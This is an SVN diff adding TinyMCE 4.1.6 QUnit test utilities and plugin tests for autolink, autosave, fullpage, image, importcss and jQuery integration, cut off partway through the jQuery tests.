+		startElm = editor.selection.getStart();
+		fakeEvent(startElm, 'keydown', evt);
+		fakeEvent(startElm, 'keypress', evt);
+
+		if (!evt.isDefaultPrevented()) {
+			if (keyCode == 8) {
+				if (editor.getDoc().selection) {
+					rng = editor.getDoc().selection.createRange();
+
+					if (rng.text.length === 0) {
+						rng.moveStart('character', -1);
+						rng.select();
+					}
+
+					rng.execCommand('Delete', false, null);
+				} else {
+					rng = editor.selection.getRng();
+
+					if (rng.startContainer.nodeType == 1 && rng.collapsed) {
+						var nodes = rng.startContainer.childNodes, lastNode = nodes[nodes.length - 1];
+
+						// If caret is at <p>abc|</p> and after the abc text node then move it to the end of the text node
+						// Expand the range to include the last char <p>ab[c]</p> since IE 11 doesn't delete otherwise
+						if (rng.startOffset >= nodes.length - 1 && lastNode && lastNode.nodeType == 3 && lastNode.data.length > 0) {
+							rng.setStart(lastNode, lastNode.data.length - 1);
+							rng.setEnd(lastNode, lastNode.data.length);
+							editor.selection.setRng(rng);
+						}
+					}
+
+					editor.getDoc().execCommand('Delete', false, null);
+				}
+			} else if (typeof(chr) == 'string') {
+				rng = editor.selection.getRng(true);
+
+				if (rng.startContainer.nodeType == 3 && rng.collapsed) {
+					rng.startContainer.insertData(rng.startOffset, chr);
+					rng.setStart(rng.startContainer, rng.startOffset + 1);
+					rng.collapse(true);
+					editor.selection.setRng(rng);
+				} else {
+					rng.insertNode(editor.getDoc().createTextNode(chr));
+				}
+			}
+		}
+
+		fakeEvent(startElm, 'keyup', evt);
+	}
+
+	function cleanHtml(html) {
+		html = html.toLowerCase().replace(/[\r\n]+/gi, '');
+		html = html.replace(/ (sizcache[0-9]+|sizcache|nodeindex|sizset[0-9]+|sizset|data\-mce\-expando|data\-mce\-selected)="[^"]*"/gi, '');
+		html = html.replace(/<span[^>]+data-mce-bogus[^>]+>[\u200B\uFEFF]+<\/span>|<div[^>]+data-mce-bogus[^>]+><\/div>/gi, '');
+		html = html.replace(/ style="([^"]+)"/gi, function(val1, val2) {
+			val2 = val2.replace(/;$/, '');
+			return ' style="' + val2.replace(/\:([^ ])/g, ': $1') + ';"';
+		});
+
+		return html;
+	}
+
+	function normalizeHtml(html) {
+		var writer = new tinymce.html.Writer();
+
+		new tinymce.html.SaxParser({
+			validate: false,
+			comment: writer.comment,
+			cdata: writer.cdata,
+			text: writer.text,
+			end: writer.end,
+			pi: writer.pi,
+			doctype: writer.doctype,
+
+			start: function(name, attrs, empty) {
+				attrs.sort(function(a, b) {
+					if (a.name === b.name) {
+						return 0;
+					}
+
+					return a.name > b.name ? 1 : -1;
+				});
+
+				writer.start(name, attrs, empty);
+			}
+		}).parse(html);
+
+		return writer.getContent();
+	}
+
+	/**
+	 * Measures the x, y, w, h of the specified element/control relative to the view element.
+	 */
+	function rect(ctrl) {
+		var outerRect, innerRect;
+
+		if (ctrl.nodeType) {
+			innerRect = ctrl.getBoundingClientRect();
+		} else {
+			innerRect = ctrl.getEl().getBoundingClientRect();
+		}
+
+		outerRect = document.getElementById('view').getBoundingClientRect();
+
+		return [
+			Math.round(innerRect.left - outerRect.left),
+			Math.round(innerRect.top - outerRect.top),
+			Math.round(innerRect.right - innerRect.left),
+			Math.round(innerRect.bottom - innerRect.top)
+		];
+	}
+
+	function size(ctrl) {
+		return rect(ctrl).slice(2);
+	}
+
+	function resetScroll(elm) {
+		elm.scrollTop = 0;
+		elm.scrollLeft = 0;
+	}
+
+	// Needed since fonts render differently on different platforms
+	function nearlyEqualRects(rect1, rect2, diff) {
+		diff = diff || 1;
+
+		for (var i = 0; i < 4; i++) {
+			if (Math.abs(rect1[i] - rect2[i]) > diff) {
+				deepEqual(rect1, rect2);
+				return;
+			}
+		}
+
+		ok(true);
+	}
+
+	function getFontmostWindow() {
+		return editor.windowManager.windows[editor.windowManager.windows.length - 1];
+	}
+
+	function pressArrowKey(evt) {
+		var dom = editor.dom, target = editor.selection.getNode();
+
+		evt = tinymce.extend({keyCode: 37}, evt);
+
+		dom.fire(target, 'keydown', evt);
+		dom.fire(target, 'keypress', evt);
+		dom.fire(target, 'keyup', evt);
+	}
+
+	function pressEnter(evt) {
+		var dom = editor.dom, target = editor.selection.getNode();
+
+		evt = tinymce.extend({keyCode: 13}, evt);
+
+		dom.fire(target, 'keydown', evt);
+		dom.fire(target, 'keypress', evt);
+		dom.fire(target, 'keyup', evt);
+	}
+
+	function trimBrsOnIE(html) {
+		return html.replace(/<br[^>]*>/gi, '');
+	}
+
+	function patch(proto, name, patchFunc) {
+		var originalFunc = proto[name];
+		var originalFuncs = proto.__originalFuncs;
+
+		if (!originalFuncs) {
+			proto.__originalFuncs = originalFuncs = {};
+		}
+
+		if (!originalFuncs[name]) {
+			originalFuncs[name] = originalFunc;
+		} else {
+			originalFunc = originalFuncs[name];
+		}
+
+		proto[name] = function() {
+			var args = Array.prototype.slice.call(arguments);
+			args.unshift(originalFunc);
+			return patchFunc.apply(this, args);
+		};
+	}
+
+	function unpatch(proto, name) {
+		var originalFuncs = proto.__originalFuncs;
+
+		if (!originalFuncs) {
+			return;
+		}
+
+		if (name) {
+			proto[name] = originalFuncs[name];
+			delete originalFuncs[name];
+		} else {
+			for (var key in originalFuncs) {
+				proto[key] = originalFuncs[key];
+			}
+
+			delete proto.__originalFuncs;
+		}
+	}
+
+	function triggerElementChange(element){
+		var evt;
+
+		if ("createEvent" in document) {
+			evt = document.createEvent("HTMLEvents");
+			evt.initEvent("change", false, true);
+			element.dispatchEvent(evt);
+		} else {
+			element.fireEvent("onchange");
+		}
+	}
+
+	window.Utils = {
+		fontFace: fontFace,
+		findContainer: findContainer,
+		setSelection: setSelection,
+		trimContent: trimContent,
+		fakeKeyEvent: fakeKeyEvent,
+		normalizeRng: normalizeRng,
+		type: type,
+		cleanHtml: cleanHtml,
+		normalizeHtml: normalizeHtml,
+		rect: rect,
+		size: size,
+		resetScroll: resetScroll,
+		nearlyEqualRects: nearlyEqualRects,
+		getFontmostWindow: getFontmostWindow,
+		pressArrowKey: pressArrowKey,
+		pressEnter: pressEnter,
+		trimBrsOnIE: trimBrsOnIE,
+		patch: patch,
+		unpatch: unpatch,
+		triggerElementChange: triggerElementChange
+	};
+})();
Index: /tags/4.1.6/tests/qunit/editor/plugins/autolink.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/plugins/autolink.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/plugins/autolink.js	(revision 33402)
@@ -0,0 +1,80 @@
+(function() {
+	module("tinymce.plugins.Autolink", {
+		setupModule: function() {
+			QUnit.stop();
+
+			tinymce.init({
+				selector: "textarea",
+				add_unload_trigger: false,
+				skin: false,
+				plugins: 'autolink',
+				autosave_ask_before_unload: false,
+				indent: false,
+				init_instance_callback: function(ed) {
+					window.editor = ed;
+					QUnit.start();
+				}
+			});
+		}
+	});
+
+	function typeUrl(url) {
+		editor.setContent('<p>' + url + '</p>');
+		Utils.setSelection('p', url.length);
+		Utils.type(' ');
+		return editor.getContent();
+	}
+
+	function typeAnEclipsedURL(url) {
+		url = "(" + url;
+		editor.setContent('<p>' + url + '</p>');
+		Utils.setSelection('p', url.length);
+		Utils.type(')');
+		return editor.getContent();
+	}
+
+	function typeNewlineURL(url) {
+		editor.setContent('<p>' + url + '</p>');
+		Utils.setSelection('p', url.length);
+		Utils.type('\n');
+		return editor.getContent();
+	}
+
+	if (tinymce.Env.ie) {
+		test("Skipped on IE since it has built in logic for autolink", function() {
+			ok(true);
+		});
+
+		return;
+	}
+
+	test("Urls ended with space", function() {
+		equal(typeUrl('http://www.domain.com'), '<p><a href="http://www.domain.com">http://www.domain.com</a></p>');
+		equal(typeUrl('https://www.domain.com'), '<p><a href="https://www.domain.com">https://www.domain.com</a></p>');
+		equal(typeUrl('ssh://www.domain.com'), '<p><a href="ssh://www.domain.com">ssh://www.domain.com</a></p>');
+		equal(typeUrl('ftp://www.domain.com'), '<p><a href="ftp://www.domain.com">ftp://www.domain.com</a></p>');
+		equal(typeUrl('www.domain.com'), '<p><a href="http://www.domain.com">www.domain.com</a></p>');
+		equal(typeUrl('www.domain.com.'), '<p><a href="http://www.domain.com">www.domain.com</a>.</p>');
+		equal(typeUrl('user@domain.com'), '<p><a href="mailto:user@domain.com">user@domain.com</a></p>');
+		equal(typeUrl('mailto:user@domain.com'), '<p><a href="mailto:user@domain.com">mailto:user@domain.com</a></p>');
+		equal(typeUrl('first-last@domain.com'), '<p><a href="mailto:first-last@domain.com">first-last@domain.com</a></p>');
+	});
+
+	test("Urls ended with )", function() {
+		equal(typeAnEclipsedURL('http://www.domain.com'), '<p>(<a href="http://www.domain.com">http://www.domain.com</a>)</p>');
+		equal(typeAnEclipsedURL('https://www.domain.com'), '<p>(<a href="https://www.domain.com">https://www.domain.com</a>)</p>');
+		equal(typeAnEclipsedURL('ssh://www.domain.com'), '<p>(<a href="ssh://www.domain.com">ssh://www.domain.com</a>)</p>');
+		equal(typeAnEclipsedURL('ftp://www.domain.com'), '<p>(<a href="ftp://www.domain.com">ftp://www.domain.com</a>)</p>');
+		equal(typeAnEclipsedURL('www.domain.com'), '<p>(<a href="http://www.domain.com">www.domain.com</a>)</p>');
+		equal(typeAnEclipsedURL('www.domain.com.'), '<p>(<a href="http://www.domain.com">www.domain.com</a>.)</p>');
+	});
+
+	test("Urls ended with new line", function() {
+		equal(typeNewlineURL('http://www.domain.com'), '<p><a href="http://www.domain.com">http://www.domain.com</a></p><p>&nbsp;</p>');
+		equal(typeNewlineURL('https://www.domain.com'), '<p><a href="https://www.domain.com">https://www.domain.com</a></p><p>&nbsp;</p>');
+		equal(typeNewlineURL('ssh://www.domain.com'), '<p><a href="ssh://www.domain.com">ssh://www.domain.com</a></p><p>&nbsp;</p>');
+		equal(typeNewlineURL('ftp://www.domain.com'), '<p><a href="ftp://www.domain.com">ftp://www.domain.com</a></p><p>&nbsp;</p>');
+		equal(typeNewlineURL('www.domain.com'), '<p><a href="http://www.domain.com">www.domain.com</a></p><p>&nbsp;</p>');
+		equal(typeNewlineURL('www.domain.com.'), '<p><a href="http://www.domain.com">www.domain.com</a>.</p><p>&nbsp;</p>');
+	});
+})();
Index: /tags/4.1.6/tests/qunit/editor/plugins/autosave.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/plugins/autosave.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/plugins/autosave.js	(revision 33402)
@@ -0,0 +1,74 @@
+module("tinymce.plugins.Autosave", {
+	setupModule: function() {
+		QUnit.stop();
+
+		tinymce.init({
+			selector: "textarea",
+			add_unload_trigger: false,
+			skin: false,
+			plugins: 'autosave',
+			autosave_ask_before_unload: false,
+			init_instance_callback: function(ed) {
+				window.editor = ed;
+				editor.plugins.autosave.removeDraft();
+				QUnit.start();
+			}
+		});
+	}
+});
+
+test("isEmpty true", function() {
+	ok(editor.plugins.autosave.isEmpty(''));
+	ok(editor.plugins.autosave.isEmpty('   '));
+	ok(editor.plugins.autosave.isEmpty('\t\t\t'));
+
+	ok(editor.plugins.autosave.isEmpty('<p id="x"></p>'));
+	ok(editor.plugins.autosave.isEmpty('<p></p>'));
+	ok(editor.plugins.autosave.isEmpty('<p> </p>'));
+	ok(editor.plugins.autosave.isEmpty('<p>\t</p>'));
+
+	ok(editor.plugins.autosave.isEmpty('<p><br></p>'));
+	ok(editor.plugins.autosave.isEmpty('<p><br /></p>'));
+	ok(editor.plugins.autosave.isEmpty('<p><br data-mce-bogus="true" /></p>'));
+
+	ok(editor.plugins.autosave.isEmpty('<p><br><br></p>'));
+	ok(editor.plugins.autosave.isEmpty('<p><br /><br /></p>'));
+	ok(editor.plugins.autosave.isEmpty('<p><br data-mce-bogus="true" /><br data-mce-bogus="true" /></p>'));
+});
+
+test("isEmpty false", function() {
+	ok(!editor.plugins.autosave.isEmpty('X'));
+	ok(!editor.plugins.autosave.isEmpty('   X'));
+	ok(!editor.plugins.autosave.isEmpty('\t\t\tX'));
+
+	ok(!editor.plugins.autosave.isEmpty('<p>X</p>'));
+	ok(!editor.plugins.autosave.isEmpty('<p> X</p>'));
+	ok(!editor.plugins.autosave.isEmpty('<p>\tX</p>'));
+
+	ok(!editor.plugins.autosave.isEmpty('<p><br>X</p>'));
+	ok(!editor.plugins.autosave.isEmpty('<p><br />X</p>'));
+	ok(!editor.plugins.autosave.isEmpty('<p><br data-mce-bogus="true" />X</p>'));
+
+	ok(!editor.plugins.autosave.isEmpty('<p><br><br>X</p>'));
+	ok(!editor.plugins.autosave.isEmpty('<p><br /><br />X</p>'));
+	ok(!editor.plugins.autosave.isEmpty('<p><br data-mce-bogus="true" /><br data-mce-bogus="true" />X</p>'));
+
+	ok(!editor.plugins.autosave.isEmpty('<h1></h1>'));
+	ok(!editor.plugins.autosave.isEmpty('<img src="x" />'));
+});
+
+test("hasDraft/storeDraft/restoreDraft", function() {
+	ok(!editor.plugins.autosave.hasDraft());
+
+	editor.setContent('X');
+	editor.undoManager.add();
+	editor.plugins.autosave.storeDraft();
+
+	ok(editor.plugins.autosave.hasDraft());
+
+	editor.setContent('Y');
+	editor.undoManager.add();
+
+	editor.plugins.autosave.restoreDraft();
+	equal(editor.getContent(), '<p>X</p>');
+});
Index: /tags/4.1.6/tests/qunit/editor/plugins/fullpage.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/plugins/fullpage.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/plugins/fullpage.js	(revision 33402)
@@ -0,0 +1,125 @@
+module("tinymce.plugins.Fullpage", {
+	setupModule: function() {
+		QUnit.stop();
+
+		tinymce.init({
+			selector: "textarea",
+			plugins: "fullpage",
+			add_unload_trigger: false,
+			skin: false,
+			valid_styles: {
+				'*': 'text-align,padding-left,color,font-size,font-family,background-color,font-weight,font-style,text-decoration,float,margin,margin-top,margin-right,margin-bottom,margin-left,display'
+			},
+			indent: 0,
+			setup: function(ed) {
+				ed.on('NodeChange', false);
+			},
+			init_instance_callback: function(ed) {
+				window.editor = ed;
+				QUnit.start();
+			}
+		});
+	},
+
+	teardown: function() {
+		editor.getBody().dir = 'ltr';
+	}
+});
+
+test('Keep header/footer intact', function() {
+	expect(2);
+
+	function normalizeHTML(html) {
+		return html.replace(/\s/g, '');
+	}
+
+	editor.setContent('<html><body><p>Test</p>');
+	equal(normalizeHTML(editor.getContent()), '<html><body><p>Test</p>', 'Invalid HTML content is still editable.');
+
+	editor.setContent('<html><body><p>Test</p></body></html>');
+	equal(normalizeHTML(editor.getContent()), '<html><body><p>Test</p></body></html>', 'Header/footer is intact.');
+});
+
+test('Default header/footer', function() {
+	expect(1);
+
+	editor.setContent('<p>Test</p>');
+	equal(editor.getContent(), '<!DOCTYPE html>\n<html>\n<head>\n</head>\n<body>\n<p>Test</p>\n</body>\n</html>', 'Invalid HTML content is still editable.');
+});
+
+test('Parse body attributes', function() {
+	expect(9);
+
+	editor.setContent('<html><body><p>Test</p></body></html>');
+	equal(editor.getBody().style.color, '', 'No color on body.');
+	equal(editor.getBody().dir, '', 'No dir on body.');
+	equal(editor.dom.getStyle(editor.getBody().firstChild, 'display', true), 'block', 'No styles added to iframe document');
+
+	editor.setContent('<html><body style="color:#FF0000"><p>Test</p></body></html>');
+	ok(editor.getBody().style.color.length > 0, 'Color added to body');
+
+	editor.setContent('<html><body dir="rtl"><p>Test</p></body></html>');
+	equal(editor.getBody().dir, 'rtl', 'Dir added to body');
+
+	editor.setContent('<html><head><style>p {text-align:right}</style></head><body dir="rtl"><p>Test</p></body></html>');
+	equal(editor.dom.getStyle(editor.getBody().firstChild, 'text-align', true), 'right', 'Styles added to iframe document');
+
+	editor.setContent('<html><body><p>Test</p></body></html>');
+	equal(editor.getBody().style.color, '', 'No color on body.');
+	equal(editor.getBody().dir, '', 'No dir on body.');
+	equal(editor.dom.getStyle(editor.getBody().firstChild, 'display', true), 'block', 'No styles added to iframe document');
+});
+
+test('fullpage_hide_in_source_view: false', function() {
+	editor.settings.fullpage_hide_in_source_view = false;
+	editor.setContent('<html><body><p>1</p></body></html>');
+	equal(editor.getContent({source_view: true}), '<html><body>\n<p>1</p>\n</body></html>');
+});
+
+test('fullpage_hide_in_source_view: false', function() {
+	editor.settings.fullpage_hide_in_source_view = true;
+	editor.setContent('<html><body><p>1</p></body></html>');
+	equal(editor.getContent({source_view: true}), '<p>1</p>');
+});
+
+test('link elements', function() {
+	editor.setContent('<html><head><link rel="stylesheet" href="a.css"><link rel="something"></head><body><p>c</p></body></html>');
+	equal(editor.getContent(), '<html><head><link rel="stylesheet" href="a.css"><link rel="something"></head><body>\n<p>c</p>\n</body></html>');
+});
+
+test('add/remove stylesheets', function() {
+	function hasLink(href) {
+		var links = editor.getDoc().getElementsByTagName('link');
+
+		for (var i = 0; i < links.length; i++) {
+			if (links[i].href.indexOf('/' + href) != -1) {
+				return true;
+			}
+		}
+	}
+
+	editor.setContent('<html><head><link rel="stylesheet" href="a.css"></head><body><p>c</p></body></html>');
+	ok(hasLink("a.css"));
+	ok(!hasLink("b.css"));
+	ok(!hasLink("c.css"));
+
+	editor.setContent('<html><head><link rel="stylesheet" href="a.css"><link rel="stylesheet" href="b.css"></head><body><p>c</p></body></html>');
+	ok(hasLink("a.css"));
+	ok(hasLink("b.css"));
+	ok(!hasLink("c.css"));
+
+	editor.setContent('<html><head><link rel="stylesheet" href="a.css"><link rel="stylesheet" href="b.css"><link rel="stylesheet" href="c.css"></head><body><p>c</p></body></html>');
+	ok(hasLink("a.css"));
+	ok(hasLink("b.css"));
+	ok(hasLink("c.css"));
+
+	editor.setContent('<html><head><link rel="stylesheet" href="a.css"></head><body><p>c</p></body></html>');
+	ok(hasLink("a.css"));
+	ok(!hasLink("b.css"));
+	ok(!hasLink("c.css"));
+
+	editor.setContent('<html><head></head><body><p>c</p></body></html>');
+	ok(!hasLink("a.css"));
+	ok(!hasLink("b.css"));
+	ok(!hasLink("c.css"));
+});
Index: /tags/4.1.6/tests/qunit/editor/plugins/image.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/plugins/image.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/plugins/image.js	(revision 33402)
@@ -0,0 +1,189 @@
+(function() {
+	module("tinymce.plugins.Image", {
+		setupModule: function() {
+			QUnit.stop();
+
+			tinymce.init({
+				selector: 'textarea',
+				add_unload_trigger: false,
+				skin: false,
+				plugins: "image",
+				disable_nodechange: true,
+				init_instance_callback: function(ed) {
+					window.editor = ed;
+					QUnit.start();
+				}
+			});
+		},
+
+		teardown: function() {
+			delete editor.settings.image_dimensions;
+			delete editor.settings.file_browser_callback;
+			delete editor.settings.image_list;
+			delete editor.settings.image_class_list;
+			delete editor.settings.document_base_url;
+
+			var win = Utils.getFontmostWindow();
+
+			if (win) {
+				win.close();
+			}
+		}
+	});
+
+	function cleanHtml(html) {
+		return Utils.cleanHtml(html).replace(/<p>(&nbsp;|<br[^>]+>)<\/p>$/, '');
+	}
+
+	function fillAndSubmitWindowForm(data) {
+		var win = Utils.getFontmostWindow();
+
+		win.fromJSON(data);
+		win.find('form')[0].submit();
+		win.close();
+	}
+
+	test('Default image dialog on empty editor', function() {
+		editor.setContent('');
+		editor.execCommand('mceImage', true);
+
+		deepEqual(Utils.getFontmostWindow().toJSON(), {
+			"alt": "",
+			"constrain": true,
+			"height": "",
+			"src": "",
+			"width": ""
+		});
+
+		fillAndSubmitWindowForm({
+			"alt": "alt",
+			"height": "100",
+			"src": "src",
+			"width": "200"
+		});
+
+		equal(
+			cleanHtml(editor.getContent()),
+			'<p><img src="src" alt="alt" width="200" height="100" /></p>'
+		);
+	});
+
+	test('Image dialog image_dimensions: false', function() {
+		editor.settings.image_dimensions = false;
+		editor.setContent('');
+		editor.execCommand('mceImage', true);
+
+		deepEqual(Utils.getFontmostWindow().toJSON(), {
+			"alt": "",
+			"src": ""
+		});
+
+		fillAndSubmitWindowForm({
+			"alt": "alt",
+			"src": "src"
+		});
+
+		equal(
+			cleanHtml(editor.getContent()),
+			'<p><img src="src" alt="alt" /></p>'
+		);
+	});
+
+	test('All image dialog ui options on empty editor', function() {
+		editor.settings.image_list = [
+			{title: 'link1', value: 'link1'},
+			{title: 'link2', value: 'link2'}
+		];
+
+		editor.settings.image_class_list = [
+			{title: 'class1', value: 'class1'},
+			{title: 'class2', value: 'class2'}
+		];
+
+		editor.setContent('');
+		editor.execCommand('mceImage', true);
+
+		deepEqual(Utils.getFontmostWindow().toJSON(), {
+			"alt": "",
+			"class": "class1",
+			"constrain": true,
+			"height": "",
+			"src": "",
+			"width": ""
+		});
+
+		fillAndSubmitWindowForm({
+			"alt": "alt",
+			"class": "class1",
+			"constrain": true,
+			"height": "200",
+			"src": "src",
+			"width": "100"
+		});
+
+		equal(
+			cleanHtml(editor.getContent()),
+			'<p><img class="class1" src="src" alt="alt" width="100" height="200" /></p>'
+		);
+	});
+
+	test("Image recognizes relative src url and prepends relative document_base_url setting.", function () {
+		var win, elementId, element;
+
+		editor.settings.document_base_url = 'testing/images/';
+		editor.setContent('');
+		editor.execCommand('mceImage', true);
+
+		var data = {
+			"src": "src",
+			"alt": "alt"
+		};
+
+		win = Utils.getFontmostWindow();
+		elementId = win.find('#src')[0]._id;
+		element = document.getElementById(elementId).childNodes[0];
+
+		win.fromJSON(data);
+		Utils.triggerElementChange(element);
+
+		win.find('form')[0].submit();
+		win.close();
+
+		equal(
+			cleanHtml(editor.getContent()),
+			'<p><img src="' + editor.settings.document_base_url + 'src" alt="alt" /></p>'
+		);
+
+
+ 	});
+
+ 	test("Image recognizes relative src url and prepends absolute document_base_url setting.", function () {
+		var win, elementId, element;
+
+		editor.settings.document_base_url = 'http://testing.com/images/';
+		editor.setContent('');
+		editor.execCommand('mceImage', true);
+
+		var data = {
+			"src": "src",
+			"alt": "alt"
+		};
+
+		win = Utils.getFontmostWindow();
+		elementId = win.find('#src')[0]._id;
+		element = document.getElementById(elementId).childNodes[0];
+
+		win.fromJSON(data);
+		Utils.triggerElementChange(element);
+
+		win.find('form')[0].submit();
+		win.close();
+
+		equal(
+			cleanHtml(editor.getContent()),
+			'<p><img src="' + editor.settings.document_base_url + 'src" alt="alt" /></p>'
+		);
+
+
+ 	});
+})();
Index: /tags/4.1.6/tests/qunit/editor/plugins/importcss.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/plugins/importcss.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/plugins/importcss.js	(revision 33402)
@@ -0,0 +1,223 @@
+(function() {
+	var menuCtrl;
+
+	module("tinymce.plugins.ImportCSS", {
+		setupModule: function() {
+			QUnit.stop();
+
+			tinymce.init({
+				selector: "textarea",
+				add_unload_trigger: false,
+				skin: false,
+				plugins: 'importcss',
+				init_instance_callback: function(ed) {
+					window.editor = ed;
+					QUnit.start();
+				}
+			});
+		},
+
+		teardown: function() {
+			if (menuCtrl) {
+				menuCtrl.remove();
+				menuCtrl = null;
+			}
+
+			editor.contentCSS = [];
+			delete editor.settings.importcss_file_filter;
+			delete editor.settings.importcss_merge_classes;
+			delete editor.settings.importcss_append;
+			delete editor.settings.importcss_selector_filter;
+			delete editor.settings.importcss_groups;
+		}
+	});
+
+	function fireFormatsMenuEvent(styleSheets, items) {
+		menuCtrl = tinymce.ui.Factory.create('menu', {
+			items: items
+		}).renderTo(document.getElementById('view'));
+
+		return editor.fire('renderFormatsMenu', {
+			control: menuCtrl,
+			doc: {
+				styleSheets: styleSheets
+			}
+		});
+	}
+
+	function getMenuItemFormat(item) {
+		return editor.formatter.get(item.settings.format)[0];
+	}
+
+	test("Import content_css files", function() {
+		editor.contentCSS.push("test1.css");
+		editor.contentCSS.push("test2.css");
+
+		var evt = fireFormatsMenuEvent([
+			{
+				href: 'test1.css',
+				cssRules: [
+					{selectorText: '.a'},
+					{selectorText: 'p.b'},
+					{selectorText: 'img.c'}
+				]
+			},
+
+			{href: 'test2.css', cssRules: [{selectorText: '.d'}]},
+			{href: 'test3.css',	cssRules: [{selectorText: '.e'}]}
+		]);
+
+		equal(evt.control.items().length, 4);
+
+		equal(evt.control.items()[0].text(), 'a');
+		equal(getMenuItemFormat(evt.control.items()[0]).classes, 'a');
+
+		equal(evt.control.items()[1].text(), 'p.b');
+		equal(getMenuItemFormat(evt.control.items()[1]).block, 'p');
+		equal(getMenuItemFormat(evt.control.items()[1]).classes, 'b');
+
+		equal(evt.control.items()[2].text(), 'img.c');
+		equal(getMenuItemFormat(evt.control.items()[2]).selector, 'img');
+		equal(getMenuItemFormat(evt.control.items()[2]).classes, 'c');
+
+		equal(evt.control.items()[3].text(), 'd');
+	});
+
+	test("Import custom importcss_merge_classes: false", function() {
+		editor.contentCSS.push("test.css");
+		editor.settings.importcss_merge_classes = false;
+
+		var evt = fireFormatsMenuEvent([
+			{href: 'test.css', cssRules: [{selectorText: '.a'}]}
+		]);
+
+		equal(evt.control.items().length, 1);
+		deepEqual(getMenuItemFormat(evt.control.items()[0]).attributes, {"class": "a"});
+	});
+
+	test("Import custom importcss_append: true", function() {
+		editor.contentCSS.push("test.css");
+		editor.settings.importcss_append = true;
+
+		var evt = fireFormatsMenuEvent([
+			{href: 'test.css', cssRules: [{selectorText: '.b'}]}
+		], {text: 'a'});
+
+		equal(evt.control.items().length, 2);
+		equal(evt.control.items()[0].text(), 'a');
+		equal(evt.control.items()[1].text(), 'b');
+	});
+
+	test("Import custom importcss_selector_filter (string)", function() {
+		editor.contentCSS.push("test1.css");
+		editor.settings.importcss_selector_filter = ".a";
+
+		var evt = fireFormatsMenuEvent([
+			{href: 'test1.css', cssRules: [
+				{selectorText: '.a'},
+				{selectorText: '.b'}
+			]},
+		]);
+
+		equal(evt.control.items().length, 1);
+		equal(evt.control.items()[0].text(), 'a');
+	});
+
+	test("Import custom importcss_selector_filter (function)", function() {
+		editor.contentCSS.push("test1.css");
+		editor.settings.importcss_selector_filter = function(selector) {
+			return selector === ".a";
+		};
+
+		var evt = fireFormatsMenuEvent([
+			{href: 'test1.css', cssRules: [
+				{selectorText: '.a'},
+				{selectorText: '.b'}
+			]},
+		]);
+
+		equal(evt.control.items().length, 1);
+		equal(evt.control.items()[0].text(), 'a');
+	});
+
+	test("Import custom importcss_selector_filter (regexp)", function() {
+		editor.contentCSS.push("test1.css");
+		editor.settings.importcss_selector_filter = /a/;
+
+		var evt = fireFormatsMenuEvent([
+			{href: 'test1.css', cssRules: [
+				{selectorText: '.a'},
+				{selectorText: '.b'}
+			]},
+		]);
+
+		equal(evt.control.items().length, 1);
+		equal(evt.control.items()[0].text(), 'a');
+	});
+
+	test("Import custom importcss_groups", function() {
+		editor.contentCSS.push("test1.css");
+		editor.settings.importcss_groups = [
+			{title: 'g1', filter: /a/},
+			{title: 'g2', filter: /b/},
+			{title: 'g3'}
+		];
+
+		var evt = fireFormatsMenuEvent([
+			{href: 'test1.css', cssRules: [
+				{selectorText: '.a'},
+				{selectorText: '.b'},
+				{selectorText: '.c'}
+			]},
+		]);
+
+		equal(evt.control.items().length, 3);
+		equal(evt.control.items()[0].text(), 'g1');
+		equal(evt.control.items()[0].settings.menu[0].text, 'a');
+		equal(evt.control.items()[1].text(), 'g2');
+		equal(evt.control.items()[1].settings.menu[0].text, 'b');
+		equal(evt.control.items()[2].text(), 'g3');
+		equal(evt.control.items()[2].settings.menu[0].text, 'c');
+	});
+
+	test("Import custom importcss_file_filter (string)", function() {
+		editor.contentCSS.push("test1.css");
+		editor.settings.importcss_file_filter = "test2.css";
+
+		var evt = fireFormatsMenuEvent([
+			{href: 'test1.css', cssRules: [{selectorText: '.a'}]},
+			{href: 'test2.css', cssRules: [{selectorText: '.b'}]}
+		]);
+
+		equal(evt.control.items().length, 1);
+		equal(evt.control.items()[0].text(), 'b');
+	});
+
+	test("Import custom importcss_file_filter (function)", function() {
+		editor.contentCSS.push("test1.css");
+		editor.settings.importcss_file_filter = function(href) {
+			return href === "test2.css";
+		};
+
+		var evt = fireFormatsMenuEvent([
+			{href: 'test1.css', cssRules: [{selectorText: '.a'}]},
+			{href: 'test2.css', cssRules: [{selectorText: '.b'}]}
+		]);
+
+		equal(evt.control.items().length, 1);
+		equal(evt.control.items()[0].text(), 'b');
+	});
+
+	test("Import custom importcss_file_filter (regexp)", function() {
+		editor.contentCSS.push("test1.css");
+		editor.settings.importcss_file_filter = /test2\.css/;
+
+		var evt = fireFormatsMenuEvent([
+			{href: 'test1.css', cssRules: [{selectorText: '.a'}]},
+			{href: 'test2.css', cssRules: [{selectorText: '.b'}]}
+		]);
+
+		equal(evt.control.items().length, 1);
+		equal(evt.control.items()[0].text(), 'b');
+	});
+})();
Index: /tags/4.1.6/tests/qunit/editor/plugins/jquery_plugin.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/plugins/jquery_plugin.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/plugins/jquery_plugin.js	(revision 33402)
@@ -0,0 +1,96 @@
+module("tinymce.plugins.jQuery", {
+	setupModule: function() {
+		document.getElementById('view').innerHTML = (
+			'<textarea id="elm1"></textarea>' +
+			'<textarea id="elm2"></textarea>' +
+			'<textarea id="elm3">Textarea</textarea>'
+		);
+
+		QUnit.stop();
+
+		$(function() {
+			$('#elm1,#elm2').tinymce({
+				plugins: [
+					"pagebreak,layer,table,save,emoticons,insertdatetime,preview,media,searchreplace",
+					"print,contextmenu,paste,directionality,fullscreen,noneditable,visualchars,nonbreaking,template"
+				],
+
+				init_instance_callback: function() {
+					var ed1 = tinymce.get('elm1'), ed2 = tinymce.get('elm2');
+
+					// When both editors are initialized
+					if (ed1 && ed1.initialized && ed2 && ed2.initialized) {
+						QUnit.start();
+					}
+				}
+			});
+		});
+	}
+});
+
+test("Get editor instance", function() {
+	equal($('#elm1').tinymce().id, 'elm1');
+	equal($('#elm2').tinymce().id, 'elm2');
